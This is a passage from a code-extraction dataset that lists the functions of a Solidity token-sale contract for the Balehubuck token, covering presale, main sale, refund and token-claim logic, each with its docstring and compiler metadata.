// @dev Calculates the amount of presale tokens to allocate
// @param weiUsing The amount of wei being used to for the given token allocation
// @param rate The eth/token exchange rate, this changes based on how much the presale has received so far
function calcpresaleAllocations(uint256 weiUsing, uint256 rate)
private
pure
returns (uint256)
{
return weiUsing.mul(rate);
}
// @dev Ends the presale
function endPresale()
private
{
stage = Stages.PresaleEnded;
PresaleEnd(now);
}
// @dev Ends the main sale triggering a refund if the minimum sale raise has no been met
// @dev or passes funds raised to the wallet and starts the trading count down
function endMainSale(uint256 buyerRefund)
private
{
if (totalReceived < minimumMainSaleRaise) {
stage = Stages.Refund;
} else {
minTradingStartTime = now + 2 weeks;
maxTradingStartTime = now + 8 weeks;
stage = Stages.MainSaleEnded;
// Transfers all funds raised to the Balehu wallet minus the funds that need to be refunded
wallet.transfer(this.balance.sub(buyerRefund));
// All unsold tokens will remain within the token_sale contract
// and will be treated as burned
}
MainSaleEnd(now);
}
} | refund | function refund()
external
atStage(Stages.Refund)
{
uint256 amount = mainSaleAllocations[msg.sender];
mainSaleAllocations[msg.sender] = 0;
msg.sender.transfer(amount);
Refund(msg.sender, amount);
}
| // @dev Allows buyer to be refunded their ETH if the minimum presale raise amount hasn't been met | LineComment | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
6315,
6582
]
} | 59,885 |
|||
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | TokenSale | contract TokenSale {
using SafeMath for uint256;
/*
* Events
*/
event PresaleStart(uint256 indexed presaleStartTime);
event AllocatePresale(address indexed receiver, uint256 tokenQuantity);
event PresaleEnd(uint256 indexed presaleEndTime);
event MainSaleStart(uint256 indexed startMainSaleTime);
event AllocateMainSale(address indexed receiver, uint256 etherAmount);
event MainSaleEnd(uint256 indexed endMainSaleTime);
event TradingStart(uint256 indexed startTradingTime);
event Refund(address indexed receiver, uint256 etherAmount);
/*
* Constants
*/
// Presale Allocation = 500 * (5000 + 4500 + 4000 + 3500 + 3250 + 3000) * 10**18
uint256 public constant PRESALE_TOKEN_ALLOCATION = 11625000 * 10**18;
uint256 public constant PRESALE_MAX_RAISE = 3000 * 10**18;
/*
* Storage
*/
mapping (address => uint256) public presaleAllocations;
mapping (address => uint256) public mainSaleAllocations;
address public wallet;
Balehubuck public token;
uint256 public presaleEndTime;
uint256 public mainSaleEndTime;
uint256 public minTradingStartTime;
uint256 public maxTradingStartTime;
uint256 public totalReceived;
uint256 public minimumMainSaleRaise;
uint256 public maximumMainSaleRaise;
uint256 public maximumAllocationPerParticipant;
uint256 public mainSaleExchangeRate;
Stages public stage;
enum Stages {
Deployed,
PresaleStarted,
PresaleEnded,
MainSaleStarted,
MainSaleEnded,
Refund,
Trading
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(wallet == msg.sender);
_;
}
modifier atStage(Stages _stage) {
require(stage == _stage);
_;
}
/*
* Fallback function
*/
function ()
external
payable
{
buy(msg.sender);
}
/*
* Constructor function
*/
// @dev Constructor function that create the Balehubuck token and sets the initial variables
// @param _wallet sets the wallet state variable which will be used to start stages throughout the token sale
function TokenSale(address _wallet)
public
{
require(_wallet != 0x0);
wallet = _wallet;
token = new Balehubuck(wallet);
// Sets the default main sale values
minimumMainSaleRaise = 23000 * 10**18;
maximumMainSaleRaise = 78000 * 10**18;
maximumAllocationPerParticipant = 750 * 10**18;
mainSaleExchangeRate = 2500;
stage = Stages.Deployed;
totalReceived = 0;
}
/*
* Public functions
*/
// @ev Allows buyers to buy tokens, throws if neither the presale or main sale is happening
// @param _receiver The address the will receive the tokens
function buy(address _receiver)
public
payable
{
require(msg.value > 0);
address receiver = _receiver;
if (receiver == 0x0)
receiver = msg.sender;
if (stage == Stages.PresaleStarted) {
buyPresale(receiver);
} else if (stage == Stages.MainSaleStarted) {
buyMainSale(receiver);
} else {
revert();
}
}
/*
* External functions
*/
// @dev Starts the presale
function startPresale()
external
onlyWallet
atStage(Stages.Deployed)
{
stage = Stages.PresaleStarted;
presaleEndTime = now + 8 weeks;
PresaleStart(now);
}
// @dev Sets the maximum and minimum raise amounts prior to the main sale
// @dev Use this method with extreme caution!
// @param _minimumMainSaleRaise Sets the minimium main sale raise
// @param _maximumMainSaleRaise Sets the maximum main sale raise
// @param _maximumAllocationPerParticipant sets the maximum main sale allocation per participant
function changeSettings(uint256 _minimumMainSaleRaise,
uint256 _maximumMainSaleRaise,
uint256 _maximumAllocationPerParticipant,
uint256 _mainSaleExchangeRate)
external
onlyWallet
atStage(Stages.PresaleEnded)
{
// Checks the inputs for null values
require(_minimumMainSaleRaise > 0 &&
_maximumMainSaleRaise > 0 &&
_maximumAllocationPerParticipant > 0 &&
_mainSaleExchangeRate > 0);
// Sanity check that requires the min raise to be less then the max
require(_minimumMainSaleRaise < _maximumMainSaleRaise);
// This check verifies that the token_sale contract has enough tokens to match the
// _maximumMainSaleRaiseAmount * _mainSaleExchangeRate (subtracts presale amounts first)
require(_maximumMainSaleRaise.sub(PRESALE_MAX_RAISE).mul(_mainSaleExchangeRate) <= token.balanceOf(this).sub(PRESALE_TOKEN_ALLOCATION));
minimumMainSaleRaise = _minimumMainSaleRaise;
maximumMainSaleRaise = _maximumMainSaleRaise;
mainSaleExchangeRate = _mainSaleExchangeRate;
maximumAllocationPerParticipant = _maximumAllocationPerParticipant;
}
// @dev Starts the main sale
// @dev Make sure the main sale variables are correct before calling
function startMainSale()
external
onlyWallet
atStage(Stages.PresaleEnded)
{
stage = Stages.MainSaleStarted;
mainSaleEndTime = now + 8 weeks;
MainSaleStart(now);
}
// @dev Starts the trading stage, allowing buyer to claim their tokens
function startTrading()
external
atStage(Stages.MainSaleEnded)
{
// Trading starts between two weeks (if called by the wallet) and two months (callable by anyone)
// after the main sale has ended
require((msg.sender == wallet && now >= minTradingStartTime) || now >= maxTradingStartTime);
stage = Stages.Trading;
TradingStart(now);
}
// @dev Allows buyer to be refunded their ETH if the minimum presale raise amount hasn't been met
function refund()
external
atStage(Stages.Refund)
{
uint256 amount = mainSaleAllocations[msg.sender];
mainSaleAllocations[msg.sender] = 0;
msg.sender.transfer(amount);
Refund(msg.sender, amount);
}
// @dev Allows buyers to claim the tokens they've purchased
function claimTokens()
external
atStage(Stages.Trading)
{
uint256 tokenAllocation = presaleAllocations[msg.sender].add(mainSaleAllocations[msg.sender].mul(mainSaleExchangeRate));
presaleAllocations[msg.sender] = 0;
mainSaleAllocations[msg.sender] = 0;
token.transfer(msg.sender, tokenAllocation);
}
/*
* Private functions
*/
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address presale balehubucks will be allocated to
function buyPresale(address receiver)
private
{
if (now >= presaleEndTime) {
endPresale();
return;
}
uint256 totalTokenAllocation = 0;
uint256 oldTotalReceived = totalReceived;
uint256 tokenAllocation = 0;
uint256 weiUsing = 0;
uint256 weiAmount = msg.value;
uint256 maxWeiForPresaleStage = 0;
uint256 buyerRefund = 0;
// Cycles through the presale phases conditional giving a different exchange rate for
// each phase of the presale until tokens have been allocated for all Ether sent or
// until the presale cap of 3,000 Ether has been reached
while (true) {
// The EVM deals with division by rounding down, causing the below statement to
// round down to the correct stage
// stageAmount = totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18);
// maxWeiForPresaleStage = stageAmount - totalReceived
maxWeiForPresaleStage = (totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18)).sub(totalReceived);
if (weiAmount > maxWeiForPresaleStage) {
weiUsing = maxWeiForPresaleStage;
} else {
weiUsing = weiAmount;
}
weiAmount = weiAmount.sub(weiUsing);
if (totalReceived < 500 * 10**18) {
// Stage 1: up to 500 Ether, exchange rate of 1 ETH for 5000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 5000);
} else if (totalReceived < 1000 * 10**18) {
// Stage 2: up to 1000 Ether, exchange rate of 1 ETH for 4500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4500);
} else if (totalReceived < 1500 * 10**18) {
// Stage 3: up to 1500 Ether, exchange rate of 1 ETH for 4000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4000);
} else if (totalReceived < 2000 * 10**18) {
// Stage 4: up to 2000 Ether, exchange rate of 1 ETH for 3500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3500);
} else if (totalReceived < 2500 * 10**18) {
// Stage 5: up to 2500 Ether, exchange rate of 1 ETH for 3250 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3250);
} else if (totalReceived < 3000 * 10**18) {
// Stage 6: up to 3000 Ether, exchange rate of 1 ETH for 3000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3000);
}
totalTokenAllocation = totalTokenAllocation.add(tokenAllocation);
totalReceived = totalReceived.add(weiUsing);
if (totalReceived >= PRESALE_MAX_RAISE) {
buyerRefund = weiAmount;
endPresale();
}
// Exits the for loops if the presale cap has been reached (changing the stage)
// or all of the wei send to the presale has been allocated
if (weiAmount == 0 || stage != Stages.PresaleStarted)
break;
}
presaleAllocations[receiver] = presaleAllocations[receiver].add(totalTokenAllocation);
wallet.transfer(totalReceived.sub(oldTotalReceived));
msg.sender.transfer(buyerRefund);
AllocatePresale(receiver, totalTokenAllocation);
}
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address main sale balehubucks will be allocated to
function buyMainSale(address receiver)
private
{
if (now >= mainSaleEndTime) {
endMainSale(msg.value);
msg.sender.transfer(msg.value);
return;
}
uint256 buyerRefund = 0;
uint256 weiAllocation = mainSaleAllocations[receiver].add(msg.value);
if (weiAllocation >= maximumAllocationPerParticipant) {
weiAllocation = maximumAllocationPerParticipant.sub(mainSaleAllocations[receiver]);
buyerRefund = msg.value.sub(weiAllocation);
}
uint256 potentialReceived = totalReceived.add(weiAllocation);
if (potentialReceived > maximumMainSaleRaise) {
weiAllocation = maximumMainSaleRaise.sub(totalReceived);
buyerRefund = buyerRefund.add(potentialReceived.sub(maximumMainSaleRaise));
endMainSale(buyerRefund);
}
totalReceived = totalReceived.add(weiAllocation);
mainSaleAllocations[receiver] = mainSaleAllocations[receiver].add(weiAllocation);
msg.sender.transfer(buyerRefund);
AllocateMainSale(receiver, weiAllocation);
}
// @dev Calculates the amount of presale tokens to allocate
// @param weiUsing The amount of wei being used to for the given token allocation
// @param rate The eth/token exchange rate, this changes based on how much the presale has received so far
function calcpresaleAllocations(uint256 weiUsing, uint256 rate)
private
pure
returns (uint256)
{
return weiUsing.mul(rate);
}
// @dev Ends the presale
function endPresale()
private
{
stage = Stages.PresaleEnded;
PresaleEnd(now);
}
// @dev Ends the main sale triggering a refund if the minimum sale raise has no been met
// @dev or passes funds raised to the wallet and starts the trading count down
function endMainSale(uint256 buyerRefund)
private
{
if (totalReceived < minimumMainSaleRaise) {
stage = Stages.Refund;
} else {
minTradingStartTime = now + 2 weeks;
maxTradingStartTime = now + 8 weeks;
stage = Stages.MainSaleEnded;
// Transfers all funds raised to the Balehu wallet minus the funds that need to be refunded
wallet.transfer(this.balance.sub(buyerRefund));
// All unsold tokens will remain within the token_sale contract
// and will be treated as burned
}
MainSaleEnd(now);
}
} | claimTokens | function claimTokens()
external
atStage(Stages.Trading)
{
uint256 tokenAllocation = presaleAllocations[msg.sender].add(mainSaleAllocations[msg.sender].mul(mainSaleExchangeRate));
presaleAllocations[msg.sender] = 0;
mainSaleAllocations[msg.sender] = 0;
token.transfer(msg.sender, tokenAllocation);
}
| // @dev Allows buyers to claim the tokens they've purchased | LineComment | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
6650,
7017
]
} | 59,886 |
|||
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | TokenSale | contract TokenSale {
using SafeMath for uint256;
/*
* Events
*/
event PresaleStart(uint256 indexed presaleStartTime);
event AllocatePresale(address indexed receiver, uint256 tokenQuantity);
event PresaleEnd(uint256 indexed presaleEndTime);
event MainSaleStart(uint256 indexed startMainSaleTime);
event AllocateMainSale(address indexed receiver, uint256 etherAmount);
event MainSaleEnd(uint256 indexed endMainSaleTime);
event TradingStart(uint256 indexed startTradingTime);
event Refund(address indexed receiver, uint256 etherAmount);
/*
* Constants
*/
// Presale Allocation = 500 * (5000 + 4500 + 4000 + 3500 + 3250 + 3000) * 10**18
uint256 public constant PRESALE_TOKEN_ALLOCATION = 11625000 * 10**18;
uint256 public constant PRESALE_MAX_RAISE = 3000 * 10**18;
/*
* Storage
*/
mapping (address => uint256) public presaleAllocations;
mapping (address => uint256) public mainSaleAllocations;
address public wallet;
Balehubuck public token;
uint256 public presaleEndTime;
uint256 public mainSaleEndTime;
uint256 public minTradingStartTime;
uint256 public maxTradingStartTime;
uint256 public totalReceived;
uint256 public minimumMainSaleRaise;
uint256 public maximumMainSaleRaise;
uint256 public maximumAllocationPerParticipant;
uint256 public mainSaleExchangeRate;
Stages public stage;
enum Stages {
Deployed,
PresaleStarted,
PresaleEnded,
MainSaleStarted,
MainSaleEnded,
Refund,
Trading
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(wallet == msg.sender);
_;
}
modifier atStage(Stages _stage) {
require(stage == _stage);
_;
}
/*
* Fallback function
*/
function ()
external
payable
{
buy(msg.sender);
}
/*
* Constructor function
*/
// @dev Constructor function that create the Balehubuck token and sets the initial variables
// @param _wallet sets the wallet state variable which will be used to start stages throughout the token sale
function TokenSale(address _wallet)
public
{
require(_wallet != 0x0);
wallet = _wallet;
token = new Balehubuck(wallet);
// Sets the default main sale values
minimumMainSaleRaise = 23000 * 10**18;
maximumMainSaleRaise = 78000 * 10**18;
maximumAllocationPerParticipant = 750 * 10**18;
mainSaleExchangeRate = 2500;
stage = Stages.Deployed;
totalReceived = 0;
}
/*
* Public functions
*/
// @ev Allows buyers to buy tokens, throws if neither the presale or main sale is happening
// @param _receiver The address the will receive the tokens
function buy(address _receiver)
public
payable
{
require(msg.value > 0);
address receiver = _receiver;
if (receiver == 0x0)
receiver = msg.sender;
if (stage == Stages.PresaleStarted) {
buyPresale(receiver);
} else if (stage == Stages.MainSaleStarted) {
buyMainSale(receiver);
} else {
revert();
}
}
/*
* External functions
*/
// @dev Starts the presale
function startPresale()
external
onlyWallet
atStage(Stages.Deployed)
{
stage = Stages.PresaleStarted;
presaleEndTime = now + 8 weeks;
PresaleStart(now);
}
// @dev Sets the maximum and minimum raise amounts prior to the main sale
// @dev Use this method with extreme caution!
// @param _minimumMainSaleRaise Sets the minimium main sale raise
// @param _maximumMainSaleRaise Sets the maximum main sale raise
// @param _maximumAllocationPerParticipant sets the maximum main sale allocation per participant
function changeSettings(uint256 _minimumMainSaleRaise,
uint256 _maximumMainSaleRaise,
uint256 _maximumAllocationPerParticipant,
uint256 _mainSaleExchangeRate)
external
onlyWallet
atStage(Stages.PresaleEnded)
{
// Checks the inputs for null values
require(_minimumMainSaleRaise > 0 &&
_maximumMainSaleRaise > 0 &&
_maximumAllocationPerParticipant > 0 &&
_mainSaleExchangeRate > 0);
// Sanity check that requires the min raise to be less then the max
require(_minimumMainSaleRaise < _maximumMainSaleRaise);
// This check verifies that the token_sale contract has enough tokens to match the
// _maximumMainSaleRaiseAmount * _mainSaleExchangeRate (subtracts presale amounts first)
require(_maximumMainSaleRaise.sub(PRESALE_MAX_RAISE).mul(_mainSaleExchangeRate) <= token.balanceOf(this).sub(PRESALE_TOKEN_ALLOCATION));
minimumMainSaleRaise = _minimumMainSaleRaise;
maximumMainSaleRaise = _maximumMainSaleRaise;
mainSaleExchangeRate = _mainSaleExchangeRate;
maximumAllocationPerParticipant = _maximumAllocationPerParticipant;
}
// @dev Starts the main sale
// @dev Make sure the main sale variables are correct before calling
function startMainSale()
external
onlyWallet
atStage(Stages.PresaleEnded)
{
stage = Stages.MainSaleStarted;
mainSaleEndTime = now + 8 weeks;
MainSaleStart(now);
}
// @dev Starts the trading stage, allowing buyer to claim their tokens
function startTrading()
external
atStage(Stages.MainSaleEnded)
{
// Trading starts between two weeks (if called by the wallet) and two months (callable by anyone)
// after the main sale has ended
require((msg.sender == wallet && now >= minTradingStartTime) || now >= maxTradingStartTime);
stage = Stages.Trading;
TradingStart(now);
}
// @dev Allows buyer to be refunded their ETH if the minimum presale raise amount hasn't been met
function refund()
external
atStage(Stages.Refund)
{
uint256 amount = mainSaleAllocations[msg.sender];
mainSaleAllocations[msg.sender] = 0;
msg.sender.transfer(amount);
Refund(msg.sender, amount);
}
// @dev Allows buyers to claim the tokens they've purchased
function claimTokens()
external
atStage(Stages.Trading)
{
uint256 tokenAllocation = presaleAllocations[msg.sender].add(mainSaleAllocations[msg.sender].mul(mainSaleExchangeRate));
presaleAllocations[msg.sender] = 0;
mainSaleAllocations[msg.sender] = 0;
token.transfer(msg.sender, tokenAllocation);
}
/*
* Private functions
*/
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address presale balehubucks will be allocated to
function buyPresale(address receiver)
private
{
if (now >= presaleEndTime) {
endPresale();
return;
}
uint256 totalTokenAllocation = 0;
uint256 oldTotalReceived = totalReceived;
uint256 tokenAllocation = 0;
uint256 weiUsing = 0;
uint256 weiAmount = msg.value;
uint256 maxWeiForPresaleStage = 0;
uint256 buyerRefund = 0;
// Cycles through the presale phases conditional giving a different exchange rate for
// each phase of the presale until tokens have been allocated for all Ether sent or
// until the presale cap of 3,000 Ether has been reached
while (true) {
// The EVM deals with division by rounding down, causing the below statement to
// round down to the correct stage
// stageAmount = totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18);
// maxWeiForPresaleStage = stageAmount - totalReceived
maxWeiForPresaleStage = (totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18)).sub(totalReceived);
if (weiAmount > maxWeiForPresaleStage) {
weiUsing = maxWeiForPresaleStage;
} else {
weiUsing = weiAmount;
}
weiAmount = weiAmount.sub(weiUsing);
if (totalReceived < 500 * 10**18) {
// Stage 1: up to 500 Ether, exchange rate of 1 ETH for 5000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 5000);
} else if (totalReceived < 1000 * 10**18) {
// Stage 2: up to 1000 Ether, exchange rate of 1 ETH for 4500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4500);
} else if (totalReceived < 1500 * 10**18) {
// Stage 3: up to 1500 Ether, exchange rate of 1 ETH for 4000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4000);
} else if (totalReceived < 2000 * 10**18) {
// Stage 4: up to 2000 Ether, exchange rate of 1 ETH for 3500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3500);
} else if (totalReceived < 2500 * 10**18) {
// Stage 5: up to 2500 Ether, exchange rate of 1 ETH for 3250 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3250);
} else if (totalReceived < 3000 * 10**18) {
// Stage 6: up to 3000 Ether, exchange rate of 1 ETH for 3000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3000);
}
totalTokenAllocation = totalTokenAllocation.add(tokenAllocation);
totalReceived = totalReceived.add(weiUsing);
if (totalReceived >= PRESALE_MAX_RAISE) {
buyerRefund = weiAmount;
endPresale();
}
// Exits the for loops if the presale cap has been reached (changing the stage)
// or all of the wei send to the presale has been allocated
if (weiAmount == 0 || stage != Stages.PresaleStarted)
break;
}
presaleAllocations[receiver] = presaleAllocations[receiver].add(totalTokenAllocation);
wallet.transfer(totalReceived.sub(oldTotalReceived));
msg.sender.transfer(buyerRefund);
AllocatePresale(receiver, totalTokenAllocation);
}
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address main sale balehubucks will be allocated to
function buyMainSale(address receiver)
private
{
if (now >= mainSaleEndTime) {
endMainSale(msg.value);
msg.sender.transfer(msg.value);
return;
}
uint256 buyerRefund = 0;
uint256 weiAllocation = mainSaleAllocations[receiver].add(msg.value);
if (weiAllocation >= maximumAllocationPerParticipant) {
weiAllocation = maximumAllocationPerParticipant.sub(mainSaleAllocations[receiver]);
buyerRefund = msg.value.sub(weiAllocation);
}
uint256 potentialReceived = totalReceived.add(weiAllocation);
if (potentialReceived > maximumMainSaleRaise) {
weiAllocation = maximumMainSaleRaise.sub(totalReceived);
buyerRefund = buyerRefund.add(potentialReceived.sub(maximumMainSaleRaise));
endMainSale(buyerRefund);
}
totalReceived = totalReceived.add(weiAllocation);
mainSaleAllocations[receiver] = mainSaleAllocations[receiver].add(weiAllocation);
msg.sender.transfer(buyerRefund);
AllocateMainSale(receiver, weiAllocation);
}
// @dev Calculates the amount of presale tokens to allocate
// @param weiUsing The amount of wei being used to for the given token allocation
// @param rate The eth/token exchange rate, this changes based on how much the presale has received so far
function calcpresaleAllocations(uint256 weiUsing, uint256 rate)
private
pure
returns (uint256)
{
return weiUsing.mul(rate);
}
// @dev Ends the presale
function endPresale()
private
{
stage = Stages.PresaleEnded;
PresaleEnd(now);
}
// @dev Ends the main sale triggering a refund if the minimum sale raise has no been met
// @dev or passes funds raised to the wallet and starts the trading count down
function endMainSale(uint256 buyerRefund)
private
{
if (totalReceived < minimumMainSaleRaise) {
stage = Stages.Refund;
} else {
minTradingStartTime = now + 2 weeks;
maxTradingStartTime = now + 8 weeks;
stage = Stages.MainSaleEnded;
// Transfers all funds raised to the Balehu wallet minus the funds that need to be refunded
wallet.transfer(this.balance.sub(buyerRefund));
// All unsold tokens will remain within the token_sale contract
// and will be treated as burned
}
MainSaleEnd(now);
}
} | buyPresale | function buyPresale(address receiver)
private
{
if (now >= presaleEndTime) {
endPresale();
return;
}
uint256 totalTokenAllocation = 0;
uint256 oldTotalReceived = totalReceived;
uint256 tokenAllocation = 0;
uint256 weiUsing = 0;
uint256 weiAmount = msg.value;
uint256 maxWeiForPresaleStage = 0;
uint256 buyerRefund = 0;
// Cycles through the presale phases conditional giving a different exchange rate for
// each phase of the presale until tokens have been allocated for all Ether sent or
// until the presale cap of 3,000 Ether has been reached
while (true) {
// The EVM deals with division by rounding down, causing the below statement to
// round down to the correct stage
// stageAmount = totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18);
// maxWeiForPresaleStage = stageAmount - totalReceived
maxWeiForPresaleStage = (totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18)).sub(totalReceived);
if (weiAmount > maxWeiForPresaleStage) {
weiUsing = maxWeiForPresaleStage;
} else {
weiUsing = weiAmount;
}
weiAmount = weiAmount.sub(weiUsing);
if (totalReceived < 500 * 10**18) {
// Stage 1: up to 500 Ether, exchange rate of 1 ETH for 5000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 5000);
} else if (totalReceived < 1000 * 10**18) {
// Stage 2: up to 1000 Ether, exchange rate of 1 ETH for 4500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4500);
} else if (totalReceived < 1500 * 10**18) {
// Stage 3: up to 1500 Ether, exchange rate of 1 ETH for 4000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4000);
} else if (totalReceived < 2000 * 10**18) {
// Stage 4: up to 2000 Ether, exchange rate of 1 ETH for 3500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3500);
} else if (totalReceived < 2500 * 10**18) {
// Stage 5: up to 2500 Ether, exchange rate of 1 ETH for 3250 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3250);
} else if (totalReceived < 3000 * 10**18) {
// Stage 6: up to 3000 Ether, exchange rate of 1 ETH for 3000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3000);
}
totalTokenAllocation = totalTokenAllocation.add(tokenAllocation);
totalReceived = totalReceived.add(weiUsing);
if (totalReceived >= PRESALE_MAX_RAISE) {
buyerRefund = weiAmount;
endPresale();
}
// Exits the for loops if the presale cap has been reached (changing the stage)
// or all of the wei send to the presale has been allocated
if (weiAmount == 0 || stage != Stages.PresaleStarted)
break;
}
presaleAllocations[receiver] = presaleAllocations[receiver].add(totalTokenAllocation);
wallet.transfer(totalReceived.sub(oldTotalReceived));
msg.sender.transfer(buyerRefund);
AllocatePresale(receiver, totalTokenAllocation);
}
| // @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address presale balehubucks will be allocated to | LineComment | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
7230,
10715
]
} | 59,887 |
|||
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | TokenSale | contract TokenSale {
using SafeMath for uint256;
/*
* Events
*/
event PresaleStart(uint256 indexed presaleStartTime);
event AllocatePresale(address indexed receiver, uint256 tokenQuantity);
event PresaleEnd(uint256 indexed presaleEndTime);
event MainSaleStart(uint256 indexed startMainSaleTime);
event AllocateMainSale(address indexed receiver, uint256 etherAmount);
event MainSaleEnd(uint256 indexed endMainSaleTime);
event TradingStart(uint256 indexed startTradingTime);
event Refund(address indexed receiver, uint256 etherAmount);
/*
* Constants
*/
// Presale Allocation = 500 * (5000 + 4500 + 4000 + 3500 + 3250 + 3000) * 10**18
uint256 public constant PRESALE_TOKEN_ALLOCATION = 11625000 * 10**18;
uint256 public constant PRESALE_MAX_RAISE = 3000 * 10**18;
/*
* Storage
*/
mapping (address => uint256) public presaleAllocations;
mapping (address => uint256) public mainSaleAllocations;
address public wallet;
Balehubuck public token;
uint256 public presaleEndTime;
uint256 public mainSaleEndTime;
uint256 public minTradingStartTime;
uint256 public maxTradingStartTime;
uint256 public totalReceived;
uint256 public minimumMainSaleRaise;
uint256 public maximumMainSaleRaise;
uint256 public maximumAllocationPerParticipant;
uint256 public mainSaleExchangeRate;
Stages public stage;
enum Stages {
Deployed,
PresaleStarted,
PresaleEnded,
MainSaleStarted,
MainSaleEnded,
Refund,
Trading
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(wallet == msg.sender);
_;
}
modifier atStage(Stages _stage) {
require(stage == _stage);
_;
}
/*
* Fallback function
*/
function ()
external
payable
{
buy(msg.sender);
}
/*
* Constructor function
*/
// @dev Constructor function that create the Balehubuck token and sets the initial variables
// @param _wallet sets the wallet state variable which will be used to start stages throughout the token sale
function TokenSale(address _wallet)
public
{
require(_wallet != 0x0);
wallet = _wallet;
token = new Balehubuck(wallet);
// Sets the default main sale values
minimumMainSaleRaise = 23000 * 10**18;
maximumMainSaleRaise = 78000 * 10**18;
maximumAllocationPerParticipant = 750 * 10**18;
mainSaleExchangeRate = 2500;
stage = Stages.Deployed;
totalReceived = 0;
}
/*
* Public functions
*/
// @ev Allows buyers to buy tokens, throws if neither the presale or main sale is happening
// @param _receiver The address the will receive the tokens
function buy(address _receiver)
public
payable
{
require(msg.value > 0);
address receiver = _receiver;
if (receiver == 0x0)
receiver = msg.sender;
if (stage == Stages.PresaleStarted) {
buyPresale(receiver);
} else if (stage == Stages.MainSaleStarted) {
buyMainSale(receiver);
} else {
revert();
}
}
/*
* External functions
*/
// @dev Starts the presale
function startPresale()
external
onlyWallet
atStage(Stages.Deployed)
{
stage = Stages.PresaleStarted;
presaleEndTime = now + 8 weeks;
PresaleStart(now);
}
// @dev Sets the maximum and minimum raise amounts prior to the main sale
// @dev Use this method with extreme caution!
// @param _minimumMainSaleRaise Sets the minimium main sale raise
// @param _maximumMainSaleRaise Sets the maximum main sale raise
// @param _maximumAllocationPerParticipant sets the maximum main sale allocation per participant
function changeSettings(uint256 _minimumMainSaleRaise,
uint256 _maximumMainSaleRaise,
uint256 _maximumAllocationPerParticipant,
uint256 _mainSaleExchangeRate)
external
onlyWallet
atStage(Stages.PresaleEnded)
{
// Checks the inputs for null values
require(_minimumMainSaleRaise > 0 &&
_maximumMainSaleRaise > 0 &&
_maximumAllocationPerParticipant > 0 &&
_mainSaleExchangeRate > 0);
// Sanity check that requires the min raise to be less then the max
require(_minimumMainSaleRaise < _maximumMainSaleRaise);
// This check verifies that the token_sale contract has enough tokens to match the
// _maximumMainSaleRaiseAmount * _mainSaleExchangeRate (subtracts presale amounts first)
require(_maximumMainSaleRaise.sub(PRESALE_MAX_RAISE).mul(_mainSaleExchangeRate) <= token.balanceOf(this).sub(PRESALE_TOKEN_ALLOCATION));
minimumMainSaleRaise = _minimumMainSaleRaise;
maximumMainSaleRaise = _maximumMainSaleRaise;
mainSaleExchangeRate = _mainSaleExchangeRate;
maximumAllocationPerParticipant = _maximumAllocationPerParticipant;
}
// @dev Starts the main sale
// @dev Make sure the main sale variables are correct before calling
function startMainSale()
external
onlyWallet
atStage(Stages.PresaleEnded)
{
stage = Stages.MainSaleStarted;
mainSaleEndTime = now + 8 weeks;
MainSaleStart(now);
}
// @dev Starts the trading stage, allowing buyer to claim their tokens
function startTrading()
external
atStage(Stages.MainSaleEnded)
{
// Trading starts between two weeks (if called by the wallet) and two months (callable by anyone)
// after the main sale has ended
require((msg.sender == wallet && now >= minTradingStartTime) || now >= maxTradingStartTime);
stage = Stages.Trading;
TradingStart(now);
}
// @dev Allows buyer to be refunded their ETH if the minimum presale raise amount hasn't been met
function refund()
external
atStage(Stages.Refund)
{
uint256 amount = mainSaleAllocations[msg.sender];
mainSaleAllocations[msg.sender] = 0;
msg.sender.transfer(amount);
Refund(msg.sender, amount);
}
// @dev Allows buyers to claim the tokens they've purchased
function claimTokens()
external
atStage(Stages.Trading)
{
uint256 tokenAllocation = presaleAllocations[msg.sender].add(mainSaleAllocations[msg.sender].mul(mainSaleExchangeRate));
presaleAllocations[msg.sender] = 0;
mainSaleAllocations[msg.sender] = 0;
token.transfer(msg.sender, tokenAllocation);
}
/*
* Private functions
*/
// @dev Allocated tokens to the presale buyer at a rate based on the total received
